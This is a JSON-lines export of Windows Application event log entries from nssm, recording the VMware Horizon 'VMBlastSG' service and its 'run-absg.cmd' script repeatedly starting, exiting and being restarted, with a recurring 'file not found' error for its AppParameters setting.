{"@timestamp":1646631434859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150900","150900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154090}}
{"@timestamp":1646631434874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154091}}
{"@timestamp":1646631434875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154092}}
{"@timestamp":1646631434875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154093}}
{"@timestamp":1646631434876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154094}}
{"@timestamp":1646631563461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154095}}
{"@timestamp":1646631563461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154096}}
{"@timestamp":1646631563462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151416","0"]}}},"module":"Application","provider":"nssm","sequence":154097}}
{"@timestamp":1646631563462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151416","151416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154098}}
{"@timestamp":1646631563479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154099}}
{"@timestamp":1646631563480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154100}}
{"@timestamp":1646631563481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154101}}
{"@timestamp":1646631563482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154102}}
{"@timestamp":1646631691973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154103}}
{"@timestamp":1646631691974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154104}}
{"@timestamp":1646631691975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150888","0"]}}},"module":"Application","provider":"nssm","sequence":154105}}
{"@timestamp":1646631691976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150888","150888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154106}}
{"@timestamp":1646631691992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154107}}
{"@timestamp":1646631691993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154108}}
{"@timestamp":1646631691993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154109}}
{"@timestamp":1646631691995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154110}}
{"@timestamp":1646631820466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154111}}
{"@timestamp":1646631820467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154112}}
{"@timestamp":1646631820468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150664","0"]}}},"module":"Application","provider":"nssm","sequence":154113}}
{"@timestamp":1646631820468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150664","150664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154114}}
{"@timestamp":1646631820484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154115}}
{"@timestamp":1646631820485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154116}}
{"@timestamp":1646631820485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154117}}
{"@timestamp":1646631820486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154118}}
{"@timestamp":1646631949004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154119}}
{"@timestamp":1646631949005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154120}}
{"@timestamp":1646631949006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151500","0"]}}},"module":"Application","provider":"nssm","sequence":154121}}
{"@timestamp":1646631949007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151500","151500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154122}}
{"@timestamp":1646631949022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154123}}
{"@timestamp":1646631949023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154124}}
{"@timestamp":1646631949023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154125}}
{"@timestamp":1646631949024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154126}}
{"@timestamp":1646632077523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154127}}
{"@timestamp":1646632077524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154128}}
{"@timestamp":1646632077524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149820","0"]}}},"module":"Application","provider":"nssm","sequence":154129}}
{"@timestamp":1646632077525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149820","149820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154130}}
{"@timestamp":1646632077541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154131}}
{"@timestamp":1646632077542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154132}}
{"@timestamp":1646632077542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154133}}
{"@timestamp":1646632077543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154134}}
{"@timestamp":1646632206036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154135}}
{"@timestamp":1646632206037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154136}}
{"@timestamp":1646632206037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150724","0"]}}},"module":"Application","provider":"nssm","sequence":154137}}
{"@timestamp":1646632206038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150724","150724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154138}}
{"@timestamp":1646632206057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154139}}
{"@timestamp":1646632206058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154140}}
{"@timestamp":1646632206058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154141}}
{"@timestamp":1646632206059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154142}}
{"@timestamp":1646632334624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154143}}
{"@timestamp":1646632334626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154144}}
{"@timestamp":1646632334627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149936","0"]}}},"module":"Application","provider":"nssm","sequence":154145}}
{"@timestamp":1646632334627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149936","149936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154146}}
{"@timestamp":1646632334643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154147}}
{"@timestamp":1646632334643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154148}}
{"@timestamp":1646632334644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154149}}
{"@timestamp":1646632334645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154150}}
{"@timestamp":1646632463126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154151}}
{"@timestamp":1646632463128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154152}}
{"@timestamp":1646632463129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147176","0"]}}},"module":"Application","provider":"nssm","sequence":154153}}
{"@timestamp":1646632463129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147176","147176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154154}}
{"@timestamp":1646632463150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154155}}
{"@timestamp":1646632463151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154156}}
{"@timestamp":1646632463151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154157}}
{"@timestamp":1646632463152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154158}}
{"@timestamp":1646632591638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154159}}
{"@timestamp":1646632591639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154160}}
{"@timestamp":1646632591640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149132","0"]}}},"module":"Application","provider":"nssm","sequence":154161}}
{"@timestamp":1646632591640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149132","149132","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154162}}
{"@timestamp":1646632591656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154163}}
{"@timestamp":1646632591656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154164}}
{"@timestamp":1646632591657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154165}}
{"@timestamp":1646632591658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154166}}
{"@timestamp":1646632720161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154167}}
{"@timestamp":1646632720161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154168}}
{"@timestamp":1646632720162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150720","0"]}}},"module":"Application","provider":"nssm","sequence":154169}}
{"@timestamp":1646632720163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150720","150720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154170}}
{"@timestamp":1646632720184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154171}}
{"@timestamp":1646632720184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154172}}
{"@timestamp":1646632720185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154173}}
{"@timestamp":1646632720185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154174}}
{"@timestamp":1646632848666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154175}}
{"@timestamp":1646632848668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154176}}
{"@timestamp":1646632848668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151176","0"]}}},"module":"Application","provider":"nssm","sequence":154177}}
{"@timestamp":1646632848669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151176","151176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154178}}
{"@timestamp":1646632848684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154179}}
{"@timestamp":1646632848685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154180}}
{"@timestamp":1646632848685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154181}}
{"@timestamp":1646632848686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154182}}
{"@timestamp":1646632977203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154183}}
{"@timestamp":1646632977205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154184}}
{"@timestamp":1646632977206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151536","0"]}}},"module":"Application","provider":"nssm","sequence":154185}}
{"@timestamp":1646632977206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151536","151536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154186}}
{"@timestamp":1646632977223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154187}}
{"@timestamp":1646632977224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154188}}
{"@timestamp":1646632977225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154189}}
{"@timestamp":1646632977226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154190}}
{"@timestamp":1646633105737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154191}}
{"@timestamp":1646633105738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154192}}
{"@timestamp":1646633105738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147348","0"]}}},"module":"Application","provider":"nssm","sequence":154193}}
{"@timestamp":1646633105739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147348","147348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154194}}
